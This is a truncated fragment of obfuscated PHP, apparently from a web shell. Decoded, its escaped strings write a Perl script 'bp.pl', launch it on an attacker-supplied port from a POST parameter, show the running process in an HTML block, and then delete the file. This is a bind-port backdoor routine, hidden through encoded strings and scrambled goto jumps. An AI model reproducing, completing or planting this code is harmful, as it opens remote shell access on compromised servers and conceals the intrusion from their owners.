@fopen("\142\x70\56\160\154", "\167"); goto z7_iB; F_Z0t: unlink("\142\160\x2e\160\154"); goto LQeWT; qSF3i: echo "\x3c\x70\162\x65\40\x63\154\x61\x73\x73\x3d\47\164\145\x78\164\55\154\151\x67\x68\164\x27\x3e{$out}\12" . exe("\x70\x73\x20\x61\x75\x78\x20\x7c\x20\x67\x72\x65\x70\40\142\160\x2e\x70\154") . "\x3c\x2f\x70\x72\x65\x3e"; goto F_Z0t; IDOhD: $out = exe("\160\145\x72\x6c\40\x62\160\x2e\160\154\x20" . $_POST["\x70\x6f\162\164"] . "\x20\x31\x3e\57\x64\145\166\x2f\x6e